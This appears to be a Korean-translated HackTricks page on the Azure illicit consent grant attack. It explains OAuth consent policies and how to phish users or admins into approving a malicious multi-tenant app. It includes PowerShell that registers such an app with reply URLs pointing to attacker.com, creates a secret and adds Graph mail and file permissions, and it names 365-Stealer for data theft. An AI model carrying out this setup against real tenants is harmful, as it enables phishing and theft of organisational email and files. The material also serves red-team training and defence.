Az - Illicit Consent Grant

Support HackTricks

OAuth App Phishing

Azure Applications사용자 데이터(기본 정보뿐만 아니라 문서 접근, 이메일 전송 등)에 접근하기 위해 권한을 요청합니다. 허용되면, 일반 사용자는 "Low Impact" 권한에 대해서만 동의를 부여할 수 있습니다. 다른 모든 경우에는 관리자 동의가 필요합니다. GA, ApplicationAdministrator, CloudApplication Administratorpermission to grant permissions to applications를 포함하는 사용자 정의 역할은 테넌트 전체에 대한 동의를 제공할 수 있습니다.

관리자 동의가 필요하지 않은 권한만이 low impact로 분류됩니다. 이는 기본 로그인에 필요한 권한인 openid, profile, email, User.Read 및 offline_access입니다. 조직모든 앱에 대한 사용자 동의를 허용하면, 직원은 자신의 프로필에서 위의 정보를 읽을 수 있는 앱에 동의를 부여할 수 있습니다.

따라서, 공격자는 악성 앱을 준비하고 피싱을 통해 사용자가 앱을 수락하고 데이터를 탈취하도록 만들 수 있습니다.

  • Unauthenticated: 외부 계정에서 User.ReadUser.ReadBasic.All 권한을 가진 애플리케이션을 생성하고, 사용자를 피싱하여 디렉터리 정보를 액세스할 수 있습니다.

  • 이는 피싱된 사용자가 외부 환경에서 OAuth 앱을 수락할 수 있어야 합니다!

  • Authenticated: 충분한 권한을 가진 주체를 손상시킨 후, 계정 내에서 애플리케이션을 생성하고 권한 있는 사용자를 피싱하여 권한 있는 OAuth 권한을 수락할 수 있습니다.

  • 이 경우 이미 디렉터리 정보를 액세스할 수 있으므로 User.ReadBasic.All 권한은 더 이상 흥미롭지 않습니다.

  • 관리자가 부여해야 하는 권한에 관심이 있을 가능성이 높습니다. 일반 사용자는 OAuth 앱에 권한을 부여할 수 없기 때문에 해당 사용자만 피싱해야 합니다(나중에 어떤 역할/권한이 이 권한을 부여하는지 더 설명합니다).

다음 PowerShell 명령은 Azure Active Directory (Azure AD)에서 사용자가 애플리케이션에 동의할 수 있는지 여부를 확인하는 데 사용됩니다:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • 사용자 동의 비활성화: 이 설정은 사용자가 애플리케이션에 권한을 부여하는 것을 금지합니다. 애플리케이션에 대한 사용자 동의가 허용되지 않습니다.

  • 사용자가 선택한 권한에 대해 검증된 게시자 또는 조직의 애플리케이션에 동의할 수 있음: 이 설정은 모든 사용자가 검증된 게시자가 게시한 애플리케이션과 자신의 테넌트에 등록된 애플리케이션에만 동의할 수 있도록 허용합니다. 특정 권한에 대해서만 동의를 허용함으로써 제어 계층을 추가합니다.

  • 사용자가 모든 애플리케이션에 동의할 수 있음: 이 설정은 더 관대하며, 관리자의 동의가 필요하지 않은 권한에 대해 모든 사용자가 모든 애플리케이션에 동의할 수 있도록 허용합니다.

  • 맞춤형 애플리케이션 동의 정책: 이 설정은 맞춤형 정책이 적용되어 있으며, 이는 애플리케이션 게시자, 애플리케이션이 요청하는 권한 및 기타 요소를 기반으로 한 제한 조합을 포함할 수 있습니다.

Illicit consent grant attack에서는 공격자가 악성 애플리케이션에 권한을 부여하도록 최종 사용자를 속입니다. 이는 애플리케이션을 합법적으로 보이게 만들어 피해자가 무의식적으로 "수락" 버튼을 클릭하게 만듭니다. 그 결과, Azure AD는 공격자의 사이트에 토큰을 발급하여 조직 계정 없이 피해자의 데이터(예: 이메일 읽기 또는 전송, 파일 액세스)를 접근하고 조작할 수 있게 합니다.

공격 흐름 개요

공격은 일반적인 회사를 대상으로 여러 단계를 포함합니다. 다음은 그 과정입니다:

  1. 도메인 등록 및 애플리케이션 호스팅: 공격자는 신뢰할 수 있는 사이트와 유사한 도메인을 등록합니다. 예를 들어, "safedomainlogin.com"을 등록하고, 이 도메인 아래에 서브도메인(e.g., "companyname.safedomainlogin.com")을 생성하여 권한 코드를 캡처하고 액세스 토큰을 요청하는 애플리케이션을 호스팅합니다.

  2. Azure AD에 애플리케이션 등록: 공격자는 자신의 Azure AD 테넌트에 Multi-Tenant Application을 등록하고, 타겟 회사 이름으로 명명하여 합법적으로 보이게 합니다. 애플리케이션의 Redirect URL을 악성 애플리케이션을 호스팅하는 서브도메인으로 설정합니다.

  3. 권한 설정: 공격자는 애플리케이션에 다양한 API 권한(e.g., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)을 설정합니다. 사용자가 권한을 부여하면 공격자는 사용자를 대신하여 민감한 정보를 추출할 수 있습니다.

  4. 악성 링크 배포: 공격자는 악성 애플리케이션의 클라이언트 ID를 포함한 링크를 작성하여 타겟 사용자에게 공유하고, 사용자가 동의를 하도록 속입니다.

공격에 도구 활용

공격은 365-Stealer와 같은 도구를 사용하여 촉진될 수 있습니다.

사전 공격 준비:

공격자가 피해 조직의 사용자에 대한 어느 정도의 접근 권한을 가지고 있다면, 조직의 정책이 사용자가 애플리케이션을 수락할 수 있도록 허용하는지 확인할 수 있습니다:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

공격을 실행하려면, 공격자는 Azure Tenant에 새로운 App을 생성해야 합니다 (App registrations에서), 다음 권한으로 구성된:

User.ReadBasic.AllMicrosoft GraphDelegated permissions에 있습니다. (Application permissions는 항상 추가 승인이 필요합니다).

  • User.ReadBasic.All은 부여되면 조직 내 모든 사용자의 정보를 읽을 수 있는 권한입니다.

  • GA, ApplicationAdministrator, CloudApplication Administratorpermission to grant permissions to applications를 포함하는 사용자 정의 역할만이 테넌트 전체 동의를 제공할 수 있습니다. 따라서 관리자 동의가 필요한 App을 승인받기 위해 이러한 역할 중 하나를 가진 사용자를 피싱해야 합니다.

cli를 통해 App을 생성할 수도 있습니다:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

https://www.alteredsecurity.com/post/introduction-to-365-stealer에서 설정 방법을 확인하세요.

얻은 access tokengraph endpoint에 대해 User.ReadUser.ReadBasic.All (요청된 권한) 범위를 갖게 됩니다. 다른 작업을 수행할 수는 없지만 (이 권한들만으로도 조직의 모든 사용자에 대한 정보를 다운로드하는 데 충분합니다).

이 도구를 사용하여 이 공격을 수행할 수도 있습니다.

Post-Exploitation

사용자에게 접근한 후에는 민감한 문서를 훔치거나 백도어가 설치된 문서 파일을 업로드하는 등의 작업을 수행할 수 있습니다.

References

HackTricks 지원

Last updated